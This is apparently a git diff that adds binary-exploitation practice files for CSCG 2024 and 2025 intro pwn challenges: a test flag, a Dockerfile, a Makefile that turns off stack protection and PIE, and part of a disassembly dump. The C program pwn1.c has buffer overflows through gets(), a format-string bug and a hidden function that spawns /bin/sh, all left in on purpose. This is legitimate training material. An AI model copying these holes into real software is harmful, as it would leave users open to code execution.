+ 1: 43 rex.XB
+ 2: 43 3a 20 rex.XB cmp spl,BYTE PTR [r8]
+ 5: 28 55 62 sub BYTE PTR [rbp+0x62],dl
+ 8: 75 6e jne 78 <_init-0x6f0> (File Offset: 0x2088)
+ a: 74 75 je 81 <_init-0x6e7> (File Offset: 0x2091)
+ c: 20 37 and BYTE PTR [rdi],dh
+ e: 2e 35 2e 30 2d 33 cs xor eax,0x332d302e
+ 14: 75 62 jne 78 <_init-0x6f0> (File Offset: 0x2088)
+ 16: 75 6e jne 86 <_init-0x6e2> (File Offset: 0x2096)
+ 18: 74 75 je 8f <_init-0x6d9> (File Offset: 0x209f)
+ 1a: 31 7e 31 xor DWORD PTR [rsi+0x31],edi
+ 1d: 38 2e cmp BYTE PTR [rsi],ch
+ 1f: 30 34 29 xor BYTE PTR [rcx+rbp*1],dh
+ 22: 20 37 and BYTE PTR [rdi],dh
+ 24: 2e cs
+ 25: 35 .byte 0x35
+ 26: 2e 30 00 cs xor BYTE PTR [rax],al
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/flag b/training/h4tum/binex_training/cscg_2024_intro_pwn/flag
new file mode 100644
index 0000000..b9414bc
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2024_intro_pwn/flag
@@ -0,0 +1 @@
+CSCG{THIS_IS_TEST_FLAG}
\ No newline at end of file
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1 b/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1
new file mode 100644
index 0000000..4b824c7
Binary files /dev/null and b/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1 differ
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1.c b/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1.c
new file mode 100644
index 0000000..b16a71f
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2024_intro_pwn/pwn1.c
@@ -0,0 +1,68 @@
+#include
+#include
+#include
+#include
+#include
+
+// pwn1: gcc pwn1.c -o pwn1
+
+// --------------------------------------------------- SETUP
+
+void ignore_me_init_buffering() {
+ setvbuf(stdout, NULL, _IONBF, 0);
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+void kill_on_timeout(int sig) {
+ if (sig == SIGALRM) {
+ printf("[!] Anti DoS Signal. Patch me out for testing.");
+ _exit(0);
+ }
+}
+
+void ignore_me_init_signal() {
+ signal(SIGALRM, kill_on_timeout);
+ alarm(60);
+}
+
+// --------------------------------------------------- MENU
+
+void WINgardium_leviosa() {
+ printf("┌───────────────────────┐\n");
+ printf("│ You are a Slytherin.. │\n");
+ printf("└───────────────────────┘\n");
+ system("/bin/sh");
+}
+
+void welcome() {
+ char read_buf[0xff];
+ printf("Enter your witch name:\n");
+ gets(read_buf);
+ printf("┌───────────────────────┐\n");
+ printf("│ You are a Hufflepuff! │\n");
+ printf("└───────────────────────┘\n");
+ printf(read_buf);
+}
+
+void AAAAAAAA() {
+ char read_buf[0xff];
+
+ printf(" enter your magic spell:\n");
+ gets(read_buf);
+ if (strcmp(read_buf, "Expelliarmus") == 0) {
+ printf("~ Protego!\n");
+ } else {
+ printf("-10 Points for Hufflepuff!\n");
+ _exit(0);
+ }
+}
+// --------------------------------------------------- MAIN
+
+void main(int argc, char *argv[]) {
+ ignore_me_init_buffering();
+ ignore_me_init_signal();
+
+ welcome();
+ AAAAAAAA();
+}
diff --git a/training/h4tum/binex_training/cscg_2024_intro_pwn/ynetd b/training/h4tum/binex_training/cscg_2024_intro_pwn/ynetd
new file mode 100644
index 0000000..0b1b2b0
Binary files /dev/null and b/training/h4tum/binex_training/cscg_2024_intro_pwn/ynetd differ
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/.python-version b/training/h4tum/binex_training/cscg_2025_intro_pwn/.python-version
new file mode 100644
index 0000000..e4fba21
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/Dockerfile b/training/h4tum/binex_training/cscg_2025_intro_pwn/Dockerfile
new file mode 100644
index 0000000..ce32bca
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/Dockerfile
@@ -0,0 +1,55 @@
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
+
+ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
+ https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
+ /usr/local/bin/repro-sources-list.sh
+
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
+ /usr/local/bin/repro-sources-list.sh && \
+ apt-get update && \
+ DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
+ musl-dev \
+ musl-tools \
+ make \
+ xz-utils && \
+ rm -f /usr/local/bin/repro-sources-list.sh
+
+WORKDIR /work
+
+ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
+ https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
+ /work/ynetd-0.1.2.tar.xz
+
+RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
+
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
+
+ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
+ https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
+ /usr/local/bin/repro-sources-list.sh
+
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
+ /usr/local/bin/repro-sources-list.sh && \
+ apt-get update && \
+ DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
+ gcc libc-dev make && \
+ rm -f /usr/local/bin/repro-sources-list.sh
+
+WORKDIR /work
+
+COPY ./intro-pwn.c ./Makefile /work
+
+RUN make
+RUN echo "85c479b7682a099fd5e1365ade142f55a8d0c2be7278126c74f0155f9f04b450 ./intro-pwn" | sha256sum -c
+
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
+
+COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
+
+COPY --from=challenge-builder /work/intro-pwn /intro-pwn
+
+COPY ./flag /flag
+
+EXPOSE 1024
+
+CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-pwn"]
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/Makefile b/training/h4tum/binex_training/cscg_2025_intro_pwn/Makefile
new file mode 100644
index 0000000..d8bb842
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/Makefile
@@ -0,0 +1,8 @@
+CC = gcc
+CFLAGS = -Wall -Wextra -g -std=c99 -g -fno-stack-protector -no-pie
+
+intro-pwn: intro-pwn.c
+ $(CC) $(CFLAGS) -o intro-pwn intro-pwn.c
+
+clean:
+ rm -f intro-pwn
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/README.md b/training/h4tum/binex_training/cscg_2025_intro_pwn/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/training/h4tum/binex_training/cscg_2025_intro_pwn/dump.txt b/training/h4tum/binex_training/cscg_2025_intro_pwn/dump.txt
new file mode 100644
index 0000000..326e04d
--- /dev/null
+++ b/training/h4tum/binex_training/cscg_2025_intro_pwn/dump.txt
@@ -0,0 +1,1942 @@
+
+intro-pwn: file format elf64-x86-64
+
+
+Disassembly of section .interp:
+
+0000000000400318 <.interp> (File Offset: 0x318):
+ 400318: 2f (bad)
+ 400319: 6c ins BYTE PTR es:[rdi],dx
+ 40031a: 69 62 36 34 2f 6c 64 imul esp,DWORD PTR [rdx+0x36],0x646c2f34
+ 400321: 2d 6c 69 6e 75 sub eax,0x756e696c
+ 400326: 78 2d js 400355 <__abi_tag-0x27> (File Offset: 0x355)
+ 400328: 78 38 js 400362 <__abi_tag-0x1a> (File Offset: 0x362)
+ 40032a: 36 2d 36 34 2e 73 ss sub eax,0x732e3436
+ 400330: 6f outs dx,DWORD PTR ds:[rsi]
+ 400331: 2e 32 00 cs xor al,BYTE PTR [rax]
+
+Disassembly of section .note.gnu.property:
+
+0000000000400338 <.note.gnu.property> (File Offset: 0x338):
+ 400338: 04 00 add al,0x0
+ 40033a: 00 00 add BYTE PTR [rax],al
+ 40033c: 10 00 adc BYTE PTR [rax],al
+ 40033e: 00 00 add BYTE PTR [rax],al
+ 400340: 05 00 00 00 47 add eax,0x47000000
+ 400345: 4e 55 rex.WRX push rbp
+ 400347: 00 02 add BYTE PTR [rdx],al
+ 400349: 80 00 c0 add BYTE PTR [rax],0xc0
+ 40034c: 04 00 add al,0x0
+ 40034e: 00 00 add BYTE PTR [rax],al
+ 400350: 01 00 add DWORD PTR [rax],eax
+ 400352: 00 00 add BYTE PTR [rax],al
+ 400354: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .note.gnu.build-id:
+
+0000000000400358 <.note.gnu.build-id> (File Offset: 0x358):
+ 400358: 04 00 add al,0x0
+ 40035a: 00 00 add BYTE PTR [rax],al
+ 40035c: 14 00 adc al,0x0
+ 40035e: 00 00 add BYTE PTR [rax],al
+ 400360: 03 00 add eax,DWORD PTR [rax]
+ 400362: 00 00 add BYTE PTR [rax],al
+ 400364: 47 rex.RXB
+ 400365: 4e 55 rex.WRX push rbp
+ 400367: 00 68 6f add BYTE PTR [rax+0x6f],ch
+ 40036a: da 8b 4f 76 6b 8d fimul DWORD PTR [rbx-0x729489b1]
+ 400370: 8d lea ecx,(bad)
+ 400371: cd ef int 0xef
+ 400373: 03 0b add ecx,DWORD PTR [rbx]
+ 400375: cd 5a int 0x5a
+ 400377: 5e pop rsi
+ 400378: 01 41 c7 add DWORD PTR [rcx-0x39],eax
+ 40037b: ee out dx,al
+
+Disassembly of section .note.ABI-tag:
+
+000000000040037c <__abi_tag> (File Offset: 0x37c):
+ 40037c: 04 00 add al,0x0
+ 40037e: 00 00 add BYTE PTR [rax],al
+ 400380: 10 00 adc BYTE PTR [rax],al
+ 400382: 00 00 add BYTE PTR [rax],al
+ 400384: 01 00 add DWORD PTR [rax],eax
+ 400386: 00 00 add BYTE PTR [rax],al
+ 400388: 47 rex.RXB
+ 400389: 4e 55 rex.WRX push rbp
+ 40038b: 00 00 add BYTE PTR [rax],al
+ 40038d: 00 00 add BYTE PTR [rax],al
+ 40038f: 00 03 add BYTE PTR [rbx],al
+ 400391: 00 00 add BYTE PTR [rax],al
+ 400393: 00 02 add BYTE PTR [rdx],al
+ 400395: 00 00 add BYTE PTR [rax],al
+ 400397: 00 00 add BYTE PTR [rax],al
+ 400399: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .gnu.hash:
+
+00000000004003a0 <.gnu.hash> (File Offset: 0x3a0):
+ 4003a0: 03 00 add eax,DWORD PTR [rax]
+ 4003a2: 00 00 add BYTE PTR [rax],al
+ 4003a4: 08 00 or BYTE PTR [rax],al
+ 4003a6: 00 00 add BYTE PTR [rax],al
+ 4003a8: 01 00 add DWORD PTR [rax],eax
+ 4003aa: 00 00 add BYTE PTR [rax],al
+ 4003ac: 06 (bad)
+ 4003ad: 00 00 add BYTE PTR [rax],al
+ 4003af: 00 00 add BYTE PTR [rax],al
+ 4003b1: 01 20 add DWORD PTR [rax],esp
+ 4003b3: 00 80 01 10 02 08 add BYTE PTR [rax+0x8021001],al
+ 4003b9: 00 00 add BYTE PTR [rax],al
+ 4003bb: 00 09 add BYTE PTR [rcx],cl
+ 4003bd: 00 00 add BYTE PTR [rax],al
+ 4003bf: 00 00 add BYTE PTR [rax],al
+ 4003c1: 00 00 add BYTE PTR [rax],al
+ 4003c3: 00 29 add BYTE PTR [rcx],ch
+ 4003c5: 1d 8c 1c 66 55 sbb eax,0x55661c8c
+ 4003ca: 61 (bad)
+ 4003cb: 10 39 adc BYTE PTR [rcx],bh
+ 4003cd: f2 repnz
+ 4003ce: 8b .byte 0x8b
+ 4003cf: 1c .byte 0x1c
+
+Disassembly of section .dynsym:
+
+00000000004003d0 <.dynsym> (File Offset: 0x3d0):
+ ... (skipping 24 zeroes, resuming at file offset: 0x3e8)
+ 4003e8: 27 (bad)
+ 4003e9: 00 00 add BYTE PTR [rax],al
+ 4003eb: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x3fd)
+ 4003fd: 00 00 add BYTE PTR [rax],al
+ 4003ff: 00 0f add BYTE PTR [rdi],cl
+ 400401: 00 00 add BYTE PTR [rax],al
+ 400403: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x415)
+ 400415: 00 00 add BYTE PTR [rax],al
+ 400417: 00 19 add BYTE PTR [rcx],bl
+ 400419: 00 00 add BYTE PTR [rax],al
+ 40041b: 00 12 add BYTE PTR [rdx],dl
+ ... (skipping 16 zeroes, resuming at file offset: 0x42d)
+ 40042d: 00 00 add BYTE PTR [rax],al
+ 40042f: 00 40 00 add BYTE PTR [rax+0x0],al
+ 400432: 00 00 add BYTE PTR [rax],al
+ 400434: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x446)
+ 400446: 00 00 add BYTE PTR [rax],al
+ 400448: 68 00 00 00 20 push 0x20000000
+ ... (skipping 16 zeroes, resuming at file offset: 0x45d)
+ 40045d: 00 00 add BYTE PTR [rax],al
+ 40045f: 00 14 00 add BYTE PTR [rax+rax*1],dl
+ 400462: 00 00 add BYTE PTR [rax],al
+ 400464: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x476)
+ 400476: 00 00 add BYTE PTR [rax],al
+ 400478: 01 00 add DWORD PTR [rax],eax
+ 40047a: 00 00 add BYTE PTR [rax],al
+ 40047c: 12 00 adc al,BYTE PTR [rax]
+ ... (skipping 16 zeroes, resuming at file offset: 0x48e)
+ 40048e: 00 00 add BYTE PTR [rax],al
+ 400490: 20 00 and BYTE PTR [rax],al
+ 400492: 00 00 add BYTE PTR [rax],al
+ 400494: 11 00 adc DWORD PTR [rax],eax
+ 400496: 19 00 sbb DWORD PTR [rax],eax
+ 400498: 40 rex
+ 400499: 40 rex
+ 40049a: 40 00 00 rex add BYTE PTR [rax],al
+ 40049d: 00 00 add BYTE PTR [rax],al
+ 40049f: 00 08 add BYTE PTR [rax],cl
+ 4004a1: 00 00 add BYTE PTR [rax],al
+ 4004a3: 00 00 add BYTE PTR [rax],al
+ 4004a5: 00 00 add BYTE PTR [rax],al
+ 4004a7: 00 09 add BYTE PTR [rcx],cl
+ 4004a9: 00 00 add BYTE PTR [rax],al
+ 4004ab: 00 11 add BYTE PTR [rcx],dl
+ 4004ad: 00 19 add BYTE PTR [rcx],bl
+ 4004af: 00 50 40 add BYTE PTR [rax+0x40],dl
+ 4004b2: 40 00 00 rex add BYTE PTR [rax],al
+ 4004b5: 00 00 add BYTE PTR [rax],al
+ 4004b7: 00 08 add BYTE PTR [rax],cl
+ 4004b9: 00 00 add BYTE PTR [rax],al
+ 4004bb: 00 00 add BYTE PTR [rax],al
+ 4004bd: 00 00 add BYTE PTR [rax],al
+ 4004bf: 00 39 add BYTE PTR [rcx],bh
+ 4004c1: 00 00 add BYTE PTR [rax],al
+ 4004c3: 00 11 add BYTE PTR [rcx],dl
+ 4004c5: 00 19 add BYTE PTR [rcx],bl
+ 4004c7: 00 60 40 add BYTE PTR [rax+0x40],ah
+ 4004ca: 40 00 00 rex add BYTE PTR [rax],al
+ 4004cd: 00 00 add BYTE PTR [rax],al
+ 4004cf: 00 08 add BYTE PTR [rax],cl
+ 4004d1: 00 00 add BYTE PTR [rax],al
+ 4004d3: 00 00 add BYTE PTR [rax],al
+ 4004d5: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .dynstr:
+
+00000000004004d8 <.dynstr> (File Offset: 0x4d8):
+ 4004d8: 00 73 65 add BYTE PTR [rbx+0x65],dh
+ 4004db: 74 76 je 400553 <__abi_tag+0x1d7> (File Offset: 0x553)
+ 4004dd: 62 75 66 00 73 (bad)
+ 4004e2: 74 64 je 400548 <__abi_tag+0x1cc> (File Offset: 0x548)
+ 4004e4: 69 6e 00 70 75 74 73 imul ebp,DWORD PTR [rsi+0x0],0x73747570
+ 4004eb: 00 67 65 add BYTE PTR [rdi+0x65],ah
+ 4004ee: 74 73 je 400563 <__abi_tag+0x1e7> (File Offset: 0x563)
+ 4004f0: 00 73 79 add BYTE PTR [rbx+0x79],dh
+ 4004f3: 73 74 jae 400569 <__abi_tag+0x1ed> (File Offset: 0x569)
+ 4004f5: 65 6d gs ins DWORD PTR es:[rdi],dx
+ 4004f7: 00 73 74 add BYTE PTR [rbx+0x74],dh
+ 4004fa: 64 6f outs dx,DWORD PTR fs:[rsi]
+ 4004fc: 75 74 jne 400572 <__abi_tag+0x1f6> (File Offset: 0x572)
+ 4004fe: 00 5f 5f add BYTE PTR [rdi+0x5f],bl
+ 400501: 6c ins BYTE PTR es:[rdi],dx
+ 400502: 69 62 63 5f 73 74 61 imul esp,DWORD PTR [rdx+0x63],0x6174735f
+ 400509: 72 74 jb 40057f <__abi_tag+0x203> (File Offset: 0x57f)
+ 40050b: 5f pop rdi
+ 40050c: 6d ins DWORD PTR es:[rdi],dx
+ 40050d: 61 (bad)
+ 40050e: 69 6e 00 73 74 64 65 imul ebp,DWORD PTR [rsi+0x0],0x65647473
+ 400515: 72 72 jb 400589 <__abi_tag+0x20d> (File Offset: 0x589)
+ 400517: 00 70 72 add BYTE PTR [rax+0x72],dh
+ 40051a: 69 6e 74 66 00 6c 69 imul ebp,DWORD PTR [rsi+0x74],0x696c0066
+ 400521: 62 63 2e 73 6f (bad)
+ 400526: 2e 36 00 47 4c cs ss add BYTE PTR [rdi+0x4c],al
+ 40052b: 49 rex.WB
+ 40052c: 42 rex.X
+ 40052d: 43 5f rex.XB pop r15
+ 40052f: 32 2e xor ch,BYTE PTR [rsi]
+ 400531: 32 2e xor ch,BYTE PTR [rsi]
+ 400533: 35 00 47 4c 49 xor eax,0x494c4700
+ 400538: 42 rex.X
+ 400539: 43 5f rex.XB pop r15
+ 40053b: 32 2e xor ch,BYTE PTR [rsi]
+ 40053d: 33 34 00 xor esi,DWORD PTR [rax+rax*1]
+ 400540: 5f pop rdi
+ 400541: 5f pop rdi
+ 400542: 67 6d ins DWORD PTR es:[edi],dx
+ 400544: 6f outs dx,DWORD PTR ds:[rsi]
+ 400545: 6e outs dx,BYTE PTR ds:[rsi]
+ 400546: 5f pop rdi
+ 400547: 73 74 jae 4005bd <__abi_tag+0x241> (File Offset: 0x5bd)
+ 400549: 61 (bad)
+ 40054a: 72 74 jb 4005c0 <__abi_tag+0x244> (File Offset: 0x5c0)
+ 40054c: 5f pop rdi
+ 40054d: 5f pop rdi
+ ...
+
+Disassembly of section .gnu.version:
+
+0000000000400550 <.gnu.version> (File Offset: 0x550):
+ 400550: 00 00 add BYTE PTR [rax],al
+ 400552: 02 00 add al,BYTE PTR [rax]
+ 400554: 03 00 add eax,DWORD PTR [rax]
+ 400556: 03 00 add eax,DWORD PTR [rax]
+ 400558: 03 00 add eax,DWORD PTR [rax]
+ 40055a: 01 00 add DWORD PTR [rax],eax
+ 40055c: 03 00 add eax,DWORD PTR [rax]
+ 40055e: 03 00 add eax,DWORD PTR [rax]
+ 400560: 03 00 add eax,DWORD PTR [rax]
+ 400562: 03 00 add eax,DWORD PTR [rax]
+ 400564: 03 00 add eax,DWORD PTR [rax]
+
+Disassembly of section .gnu.version_r:
+
+0000000000400568 <.gnu.version_r> (File Offset: 0x568):
+ 400568: 01 00 add DWORD PTR [rax],eax
+ 40056a: 02 00 add al,BYTE PTR [rax]
+ 40056c: 47 00 00 rex.RXB add BYTE PTR [r8],r8b
+ 40056f: 00 10 add BYTE PTR [rax],dl
+ 400571: 00 00 add BYTE PTR [rax],al
+ 400573: 00 00 add BYTE PTR [rax],al
+ 400575: 00 00 add BYTE PTR [rax],al
+ 400577: 00 75 1a add BYTE PTR [rbp+0x1a],dh
+ 40057a: 69 09 00 00 03 00 imul ecx,DWORD PTR [rcx],0x30000
+ 400580: 51 push rcx
+ 400581: 00 00 add BYTE PTR [rax],al
+ 400583: 00 10 add BYTE PTR [rax],dl
+ 400585: 00 00 add BYTE PTR [rax],al
+ 400587: 00 b4 91 96 06 00 00 add BYTE PTR [rcx+rdx*4+0x696],dh
+ 40058e: 02 00 add al,BYTE PTR [rax]
+ 400590: 5d pop rbp
+ 400591: 00 00 add BYTE PTR [rax],al
+ 400593: 00 00 add BYTE PTR [rax],al
+ 400595: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .rela.dyn:
+
+0000000000400598 <.rela.dyn> (File Offset: 0x598):
+ 400598: d8 3f fdivr DWORD PTR [rdi]
+ 40059a: 40 00 00 rex add BYTE PTR [rax],al
+ 40059d: 00 00 add BYTE PTR [rax],al
+ 40059f: 00 06 add BYTE PTR [rsi],al
+ 4005a1: 00 00 add BYTE PTR [rax],al
+ 4005a3: 00 01 add BYTE PTR [rcx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x5ad)
+ 4005ad: 00 00 add BYTE PTR [rax],al
+ 4005af: 00 e0 add al,ah
+ 4005b1: 3f (bad)
+ 4005b2: 40 00 00 rex add BYTE PTR [rax],al
+ 4005b5: 00 00 add BYTE PTR [rax],al
+ 4005b7: 00 06 add BYTE PTR [rsi],al
+ 4005b9: 00 00 add BYTE PTR [rax],al
+ 4005bb: 00 05 00 00 00 00 add BYTE PTR [rip+0x0],al # 4005c1 <__abi_tag+0x245> (File Offset: 0x5c1)
+ 4005c1: 00 00 add BYTE PTR [rax],al
+ 4005c3: 00 00 add BYTE PTR [rax],al
+ 4005c5: 00 00 add BYTE PTR [rax],al
+ 4005c7: 00 40 40 add BYTE PTR [rax+0x40],al
+ 4005ca: 40 00 00 rex add BYTE PTR [rax],al
+ 4005cd: 00 00 add BYTE PTR [rax],al
+ 4005cf: 00 05 00 00 00 08 add BYTE PTR [rip+0x8000000],al # 84005d5 <_end+0x7ffc565> (File Offset: 0x80005d5)
+ ... (skipping 8 zeroes, resuming at file offset: 0x5dd)
+ 4005dd: 00 00 add BYTE PTR [rax],al
+ 4005df: 00 50 40 add BYTE PTR [rax+0x40],dl
+ 4005e2: 40 00 00 rex add BYTE PTR [rax],al
+ 4005e5: 00 00 add BYTE PTR [rax],al
+ 4005e7: 00 05 00 00 00 09 add BYTE PTR [rip+0x9000000],al # 94005ed <_end+0x8ffc57d> (File Offset: 0x90005ed)
+ ... (skipping 8 zeroes, resuming at file offset: 0x5f5)
+ 4005f5: 00 00 add BYTE PTR [rax],al
+ 4005f7: 00 60 40 add BYTE PTR [rax+0x40],ah
+ 4005fa: 40 00 00 rex add BYTE PTR [rax],al
+ 4005fd: 00 00 add BYTE PTR [rax],al
+ 4005ff: 00 05 00 00 00 0a add BYTE PTR [rip+0xa000000],al # a400605 <_end+0x9ffc595> (File Offset: 0xa000605)
+ ...
+
+Disassembly of section .rela.plt:
+
+0000000000400610 <.rela.plt> (File Offset: 0x610):
+ 400610: 00 40 40 add BYTE PTR [rax+0x40],al
+ 400613: 00 00 add BYTE PTR [rax],al
+ 400615: 00 00 add BYTE PTR [rax],al
+ 400617: 00 07 add BYTE PTR [rdi],al
+ 400619: 00 00 add BYTE PTR [rax],al
+ 40061b: 00 02 add BYTE PTR [rdx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x625)
+ 400625: 00 00 add BYTE PTR [rax],al
+ 400627: 00 08 add BYTE PTR [rax],cl
+ 400629: 40 rex
+ 40062a: 40 00 00 rex add BYTE PTR [rax],al
+ 40062d: 00 00 add BYTE PTR [rax],al
+ 40062f: 00 07 add BYTE PTR [rdi],al
+ 400631: 00 00 add BYTE PTR [rax],al
+ 400633: 00 03 add BYTE PTR [rbx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x63d)
+ 40063d: 00 00 add BYTE PTR [rax],al
+ 40063f: 00 10 add BYTE PTR [rax],dl
+ 400641: 40 rex
+ 400642: 40 00 00 rex add BYTE PTR [rax],al
+ 400645: 00 00 add BYTE PTR [rax],al
+ 400647: 00 07 add BYTE PTR [rdi],al
+ 400649: 00 00 add BYTE PTR [rax],al
+ 40064b: 00 04 00 add BYTE PTR [rax+rax*1],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x656)
+ 400656: 00 00 add BYTE PTR [rax],al
+ 400658: 18 40 40 sbb BYTE PTR [rax+0x40],al
+ 40065b: 00 00 add BYTE PTR [rax],al
+ 40065d: 00 00 add BYTE PTR [rax],al
+ 40065f: 00 07 add BYTE PTR [rdi],al
+ 400661: 00 00 add BYTE PTR [rax],al
+ 400663: 00 06 add BYTE PTR [rsi],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x66d)
+ 40066d: 00 00 add BYTE PTR [rax],al
+ 40066f: 00 20 add BYTE PTR [rax],ah
+ 400671: 40 rex
+ 400672: 40 00 00 rex add BYTE PTR [rax],al
+ 400675: 00 00 add BYTE PTR [rax],al
+ 400677: 00 07 add BYTE PTR [rdi],al
+ 400679: 00 00 add BYTE PTR [rax],al
+ 40067b: 00 07 add BYTE PTR [rdi],al
+ ...
+
+Disassembly of section .init:
+
+0000000000401000 <_init> (File Offset: 0x1000):
+ 401000: 48 83 ec 08 sub rsp,0x8
+ 401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base> (File Offset: 0x3fe0)
+ 40100b: 48 85 c0 test rax,rax
+ 40100e: 74 02 je 401012 <_init+0x12> (File Offset: 0x1012)
+ 401010: ff d0 call rax
+ 401012: 48 83 c4 08 add rsp,0x8
+ 401016: c3 ret
+
+Disassembly of section .plt:
+
+0000000000401020 (File Offset: 0x1020):
+ 401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> (File Offset: 0x3ff0)
+ 401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> (File Offset: 0x3ff8)
+ 40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+0000000000401030 (File Offset: 0x1030):
+ 401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 (File Offset: 0x4000)
+ 401036: 68 00 00 00 00 push 0x0
+ 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20> (File Offset: 0x1020)
+
+0000000000401040 (File Offset: 0x1040):
+ 401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 (File Offset: 0x4008)
+ 401046: 68 01 00 00 00 push 0x1
+ 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20> (File Offset: 0x1020)
+
+0000000000401050 (File Offset: 0x1050):
+ 401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 (File Offset: 0x4010)
+ 401056: 68 02 00 00 00 push 0x2
+ 40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20> (File Offset: 0x1020)
+
+0000000000401060 (File Offset: 0x1060):
+ 401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 (File Offset: 0x4018)
+ 401066: 68 03 00 00 00 push 0x3
+ 40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20> (File Offset: 0x1020)
+
+0000000000401070 (File Offset: 0x1070):
+ 401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 (File Offset: 0x4020)
+ 401076: 68 04 00 00 00 push 0x4
+ 40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20> (File Offset: 0x1020)
+
+Disassembly of section .text:
+
+0000000000401080 <_start> (File Offset: 0x1080):
+ 401080: 31 ed xor ebp,ebp
+ 401082: 49 89 d1 mov r9,rdx
+ 401085: 5e pop rsi
+ 401086: 48 89 e2 mov rdx,rsp
+ 401089: 48 83 e4 f0 and rsp,0xfffffffffffffff0
+ 40108d: 50 push rax
+ 40108e: 54 push rsp
+ 40108f: 45 31 c0 xor r8d,r8d
+ 401092: 31 c9 xor ecx,ecx
+ 401094: 48 c7 c7 23 12 40 00 mov rdi,0x401223
+ 40109b: ff 15 37 2f 00 00 call QWORD PTR [rip+0x2f37] # 403fd8 <__libc_start_main@GLIBC_2.34> (File Offset: 0x3fd8)
+ 4010a1: f4 hlt
+ 4010a2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ 4010a9: 00 00 00
+ 4010ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+00000000004010b0 <_dl_relocate_static_pie> (File Offset: 0x10b0):
+ 4010b0: c3 ret
+ 4010b1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ 4010b8: 00 00 00
+ 4010bb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
+
+00000000004010c0 (File Offset: 0x10c0):
+ 4010c0: b8 38 40 40 00 mov eax,0x404038
+ 4010c5: 48 3d 38 40 40 00 cmp rax,0x404038
